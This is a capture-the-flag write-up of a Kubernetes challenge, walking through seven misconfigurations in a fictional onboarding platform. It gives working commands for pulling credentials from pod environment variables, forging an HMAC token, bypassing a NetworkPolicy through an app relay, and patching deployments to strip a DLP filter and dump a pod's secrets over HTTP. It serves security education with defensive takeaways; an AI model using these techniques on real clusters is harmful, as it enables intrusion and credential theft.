← Back to writeups

Wiz Day One — Kubernetes Onboarding CTF: 7 Misconfigurations to Full Compromise

Introduction

Wiz’s “Day One” challenge (day-one.wiz.io) drops you into a Kubernetes cluster hosting a fictional corporate onboarding platform called OnBored. Instead of one long exploit chain ending in a single root flag, the challenge is split into 7 independent flags, each hidden behind a different real-world Kubernetes or application misconfiguration.

This is a great challenge for anyone learning cloud/K8s security because it covers a wide surface: RBAC enumeration, secrets management mistakes, a homegrown DLP (Data Loss Prevention) proxy, NetworkPolicy bypass via a legitimate relay service, weak cryptography, and PostgreSQL performance tuning as an actual exploitation step. If you’ve only ever done Linux privesc boxes, this is a good introduction to “the cloud version” of the same bad habits.

Access provided: a web terminal with kubectl, psql, and python3 — no curl, no wget, no internet access, and a browser with no address bar or DevTools.

Attack Chain Summary

RBAC enum → pod env vars → PostgreSQL creds (Flag 1)
Mounted secrets + Fernet decrypt → admin password (Flag 2)
kubectl exec into DLP proxy → Lua source leak (Flag 3)
Same proxy → DLP rules config file leak (Flag 4)
Hardcoded HMAC secret → forged token → NetworkPolicy bypass via app relay (Flag 5)
Wrong XOR keys in report code → reverse engineering → data fix (Flag 6)
Missing index on audit table → PostgreSQL query timeout fix (Flag 7)

Reconnaissance

Every Kubernetes engagement — CTF or real pentest — starts the same way: figure out who you are and what you can touch.

# What can our service account actually do?
kubectl auth can-i --list

# What's running in our namespace?
kubectl get pods,svc,deployments,configmaps -n challenge

# Look at env vars, volumes, and the service account attached to a pod
kubectl describe pod <pod-name>

kubectl auth can-i --list is the single most important command in this kind of engagement — it tells you your blast radius before you do anything else. In this case, our service account (challenge-user) had get/list/watch on pods, configmaps, and services, plus exec on pods and patch on deployments/statefulsets. That last permission — patch on deployments — turned out to be a superpower, and it’s the thread that ties several of these flags together.

The cluster looked like this:

PodRole
appFlask onboarding application (port 8080)
nginxReverse proxy with a custom Lua-based DLP filter
credential-storeInternal service handling password hashing/credentials
postgresStatefulSet backing the app’s database
shellOur own pod — the terminal we’re typing into

Flag 1 — Account Not Found

The vulnerability: credentials in plaintext environment variables.

This is the single most common Kubernetes misconfiguration you’ll find in the wild. A Deployment spec defines an env var like DATABASE_URL directly (or via a Secret, which is only base64-encoded, not encrypted) — and anyone who can kubectl describe or kubectl exec into that pod can read it in seconds.

kubectl exec app-6766cf7f6-ssxtk -- env | grep -i database
# DATABASE_URL=postgresql://appuser:dbpassword123@postgres:5432/ctfapp

With a live connection string in hand, connecting via psql and exploring the schema was trivial:

psql postgresql://appuser:dbpassword123@postgres:5432/ctfapp
\dt
SELECT * FROM system_config;

The flag sat directly in the system_config table, and was also mirrored as a file mounted at /etc/secrets/debug-flag inside the app pod — a second copy of the same mistake in a different form.

Flag 1: [redacted — challenge flag, not published]

Why this matters: a Kubernetes Secret object is not encryption — it’s base64 encoding, which is trivially reversible. If your threat model includes “someone with pods/exec access,” env vars and Secrets need to be treated as public unless you’re also using something like sealed secrets, external secret managers (Vault, AWS Secrets Manager), or at minimum RBAC that actually restricts exec.

Flag 2 — Default Creds Never Changed

The vulnerability: a weak symmetric encryption scheme where the key lives next to the ciphertext.

Reading the application’s authentication code revealed that the admin account used a special auth_type=builtin flow, where the password was encrypted with Fernet (a symmetric encryption scheme from Python’s cryptography library) and stored in an environment variable called ENCRYPTED_ADMIN_PASSWORD.

kubectl exec app-6766cf7f6-ssxtk -- cat /app/app/services/auth.py

Fernet needs a key to decrypt. That key was sitting in the same pod, mounted as a file:

kubectl exec app-6766cf7f6-ssxtk -- cat /etc/secrets/encryption-key
# initech-encryption-key-2024

With both the ciphertext and the key in hand, decryption is a few lines of Python:

from cryptography.fernet import Fernet
import base64, hashlib

key_str = "initech-encryption-key-2024"
key = base64.urlsafe_b64encode(hashlib.sha256(key_str.encode()).digest())
f = Fernet(key)
print(f.decrypt(ENCRYPTED_ADMIN_PASSWORD.encode()).decode())

The decrypted string was the admin password — and, fittingly, it was also the flag.

Flag 2: [redacted — also served as the live admin login password]

Why this matters: encryption only protects you if the key and the ciphertext have different trust boundaries. Storing both in the same pod, accessible to the same identity, is functionally equivalent to not encrypting at all — it just adds a decryption step for anyone who bothers to look.

Flag 3 — Blocked (DLP Is Blocking Your Flag)

The vulnerability: a security control that leaks the very thing it’s supposed to protect.

At this point in the challenge, any attempt to request data containing the string FLAG{ through the nginx proxy silently failed — the connection was closed with no response (HTTP 444). The browser showed: “Connection error. The server may have blocked the request.”

This is a Data Loss Prevention (DLP) filter: a proxy-level rule that inspects outgoing traffic and blocks patterns that look like sensitive data before they leave the network. It’s a legitimate security control — but it’s only as good as its implementation.

Since kubectl exec wasn’t blocked on the nginx pod (only on postgres and credential-store, via a ValidatingAdmissionPolicy — more on that below), reading the DLP’s own source code was possible:

kubectl exec nginx-86c4456bcd-k7z77 -- find /etc/nginx -type f
kubectl exec nginx-86c4456bcd-k7z77 -- cat /etc/nginx/lua/dlp.lua

Buried in a debug log statement inside the Lua module meant to block flags was:

ngx.log(ngx.INFO, "DLP: Incident logged - FLAG{...}")
Flag 3: [redacted]

Why this matters: security tooling is part of your attack surface, not exempt from it. A WAF, DLP, or IDS rule engine that logs the exact payload it just blocked — especially at a verbose log level, in a file readable by anyone who can reach the pod — defeats its own purpose. Treat security control configuration and logging with the same scrutiny you’d apply to the application it’s protecting.

Bonus: bypassing the DLP entirely

To interact with the app normally through the browser for the rest of the challenge, the nginx deployment was patched to strip out the DLP module completely — replacing the mounted ConfigMap with an emptyDir volume and using an initContainer to write a minimal nginx config with no Lua filtering:

kubectl patch deployment nginx --type=json -p='[
  {"op":"replace","path":"/spec/template/spec/volumes/0","value":{"name":"nginx-config","emptyDir":{}}},
  {"op":"add","path":"/spec/template/spec/initContainers","value":[{
    "name":"configure",
    "image":"day-one-nginx:latest",
    "imagePullPolicy":"Never",
    "command":["sh","-c","printf \"server { listen 80; location / { proxy_pass http://app:8080; } }\" > /etc/nginx/conf.d/default.conf"],
    "volumeMounts":[{"name":"nginx-config","mountPath":"/etc/nginx/conf.d"}]
  }]}
]'

imagePullPolicy: Never matters here — the cluster had no internet egress, so the patch had to reuse an image already cached on the node rather than pulling a new one.

Flag 4 — The One Thing That Works

The vulnerability: sensitive data stored in a security tool’s own configuration file.

This challenge’s title is a hint about its own logic: the DLP filter from Flag 3 was, in a dark sort of way, “the one thing that works” in this broken system — it successfully blocked every flag. Its behavior was driven by a configuration file mounted into the same nginx pod:

kubectl exec nginx-579d74fb9c-99vtx -- cat /etc/nginx/dlp-rules/patterns.json
{
  "version": "1.0",
  "description": "Data Loss Prevention blocked patterns",
  "config_key": "FLAG{...}",
  "blocked_patterns": ["FLAG{", "api_key=", "private_key", "BEGIN RSA", "aws_access_key"]
}

The flag sat in a field named config_key — plausible-looking metadata that nobody would think twice about in a real config file.

Flag 4: [redacted]

Why this matters: configuration files for security controls (firewall rulesets, DLP patterns, WAF rules) are frequently excluded from code review and secret-scanning because “it’s just config, not code.” Attackers (and auditors) should read every file a security-relevant pod mounts, not just its application logic.

Flag 5 — Network Policy Bypassed

The vulnerability: a NetworkPolicy that only restricts direct connections, combined with a forgeable authentication token.

The credential-store pod held sensitive partner API tokens, but a Kubernetes NetworkPolicy restricted inbound traffic to only the app pod’s service account. Direct connections from our shell pod were dropped.

Reading app’s route handlers revealed a CAPTCHA verification mechanism protecting a privileged endpoint, /api/admin/create-account. The CAPTCHA token was an HMAC signature — and the secret key had a hardcoded fallback value right in the source:

CAPTCHA_SECRET = os.environ.get('CAPTCHA_SECRET', 'initech-captcha-secret-2024')
token = f"{timestamp}:{hmac.new(CAPTCHA_SECRET.encode(), timestamp.encode(), hashlib.sha256).hexdigest()}"

timestamp:hmac(secret, timestamp) is a common pattern for lightweight anti-bot tokens — and trivial to forge once the secret is known:

import hmac, hashlib, time

secret = "initech-captcha-secret-2024"
ts = str(int(time.time()))
sig = hmac.new(secret.encode(), ts.encode(), hashlib.sha256).hexdigest()
token = f"{ts}:{sig}"

The real insight, though, wasn’t the CAPTCHA itself — it was that the app pod exposed /api/credentials, an endpoint that internally proxies a request to credential-store using the app service account’s own network identity. The NetworkPolicy only checks who is connecting, not on whose behalf. Since app is allowed to reach credential-store, and we could authenticate to app as admin, we could ride app’s network identity straight through the policy:

import urllib.request, json

# Log in as admin (Flag 2's decrypted password)
data = json.dumps({'username': 'admin', 'password': ADMIN_PASSWORD}).encode()
req = urllib.request.Request('http://app:8080/api/login', data=data,
    headers={'Content-Type': 'application/json'})
token = json.loads(urllib.request.urlopen(req).read())['token']

# Use the admin session to call the internal proxy endpoint
req = urllib.request.Request('http://app:8080/api/credentials',
    headers={'Authorization': f'Bearer {token}'})
creds = json.loads(urllib.request.urlopen(req).read())
print(creds['partner_api_token'])  # Flag 5
Flag 5: [redacted]

Why this matters: NetworkPolicies enforce network-layer segmentation, but they say nothing about application-layer authorization. Any service that’s allowed to talk to a protected backend is a potential relay for anyone who can authenticate to that service. Real defense in depth needs authorization checks at every hop, not just an IP/label allowlist at the network boundary.

Flag 6 — Data Fixed / Report Works

The vulnerability: a broken (but well-intentioned) encoding scheme, with the bug flagged by its own author.

The application generated a “report” by XOR-decoding rows from a report_data table. The decoding code contained a giveaway comment:

XOR_KEYS = [0x42, 0x0A]  # TODO: Make sure the keys are correct

Requesting the report produced a garbled checksum that clearly resembled a flag structurally ({-} wrapper, underscores) but with wrong characters — a strong signal that the encoding, not the data, was broken.

With 31 known encoded bytes and a known expected prefix (FLAG{), recovering the correct key was a matter of testing candidates:

encoded = [...]  # bytes pulled from report_data

for k1 in range(256):
    for k2 in range(256):
        decoded = ''.join(chr(b ^ [k1, k2][i % 2]) for i, b in enumerate(encoded))
        if decoded.startswith("FLAG{"):
            print(hex(k1), hex(k2), decoded)
# 0x42, 0x1f → FLAG{...}

A separate row in the table also had a NULL value blocking report generation entirely, which needed a direct fix once the correct key confirmed the expected content:

UPDATE report_data SET value = 141 WHERE value IS NULL;
Flag 6: [redacted]

Why this matters: this one is less about a “vulnerability” and more about a debugging mindset that transfers directly to reverse engineering: when you know (or can guess) the expected output format, you can often recover the transformation function by working backwards from a handful of known-plaintext characters, rather than analyzing the algorithm in the abstract.

Flag 7 — Indexes Make It Fast

The vulnerability: a missing database index turning a fast query into a functional denial of service.

A PostgreSQL function, analyze_burst_activity(), was supposed to detect suspicious login bursts by grouping audit_logs rows on user_id and timestamp. Calling it returned a too_slow status instead of results — the table had grown large enough that the unindexed scan blew past an internal timeout.

SELECT * FROM analyze_burst_activity();
-- status: too_slow

The fix was a straightforward composite index on exactly the columns the function filtered and grouped on:

CREATE INDEX idx_audit_burst ON audit_logs (user_id, timestamp);
ANALYZE audit_logs;

SELECT * FROM analyze_burst_activity();
-- status: success
Flag 7: [redacted]

Why this matters: this flag is a nice reminder that “exploitation” in cloud/data engineering contexts isn’t always about bypassing an ACL — sometimes the misconfiguration is a performance bug that happens to gate access to sensitive functionality. EXPLAIN ANALYZE is the first thing to reach for whenever a query “times out” instead of returning wrong data.

A Recurring Technique: Patching Deployments to Reach Protected Pods

One obstacle worth calling out on its own: a ValidatingAdmissionPolicy named block-sensitive-pod-exec blocked kubectl exec into any pod with credential-store or postgres in its name. Attempting to bypass it with labels was also rejected.

But our service account still had patch rights on Deployments. That’s enough to sidestep an exec restriction entirely — instead of shelling into the pod, we can replace what the pod runs:

kubectl patch deployment credential-store --type=json -p='[
  {"op":"add","path":"/spec/template/spec/containers/0/command","value":[
    "python3","-c",
    "import http.server,os; H=type(\"H\",(http.server.BaseHTTPRequestHandler,),{\"do_GET\":lambda s:(s.send_response(200),s.end_headers(),s.wfile.write(str(dict(os.environ)).encode()))}); http.server.HTTPServer((\"\",8080),H).serve_forever()"
  ]}
]'

This overwrites the container’s entrypoint with a one-line Python HTTP server that dumps every environment variable in the pod as its response body. A quick request from another pod:

import urllib.request
print(urllib.request.urlopen("http://credential-store:8080/").read().decode())
# → PASSWORD_PEPPER: wiznt-pepper-k8s-7f4a2c9e1d3b

…and the PASSWORD_PEPPER used for hashing user passwords was extracted without ever running kubectl exec against the protected pod. Restoring the original entrypoint afterward is just as easy:

kubectl patch deployment credential-store --type=json -p='[
  {"op":"remove","path":"/spec/template/spec/containers/0/command"}
]'

Why this matters: admission controllers that block pods/exec are a good idea, but they only close one door. If the same identity can patch a Deployment, DaemonSet, or StatefulSet, it can achieve equivalent — arguably worse — access by rewriting what the pod executes on its next rollout. Least-privilege RBAC needs to consider write access to workload controllers as being just as sensitive as exec.

Flags

Flag 1 (Account Not Found)        : [redacted]
Flag 2 (Default Creds)            : [redacted]
Flag 3 (Blocked / DLP)            : [redacted]
Flag 4 (The One Thing That Works) : [redacted]
Flag 5 (Network Policy Bypassed)  : [redacted]
Flag 6 (Data Fixed)               : [redacted]
Flag 7 (Indexes Make It Fast)     : [redacted]

Key Takeaways

  • kubectl auth can-i --list first, always. Your permissions define your entire attack surface before you touch a single pod.
  • Kubernetes Secrets ≠ encryption. Base64 is encoding, not confidentiality. If exec/describe access reaches the pod, treat the secret as public.
  • Security tooling is part of the attack surface. DLP rules, WAF configs, and their logs deserve the same scrutiny as application code — sometimes more, since they’re assumed to be “safe.”
  • NetworkPolicies stop direct connections, not relayed ones. Any service allowed through the policy that also proxies requests on your behalf effectively punches a hole in it.
  • patch on workload controllers is equivalent to exec. If an admission policy blocks shelling into a pod but RBAC still allows patching its Deployment, the restriction is cosmetic.
  • When output has a known format, work backwards. Recovering a broken XOR key by testing against an expected FLAG{ prefix is much faster than analyzing the algorithm from scratch.

Resources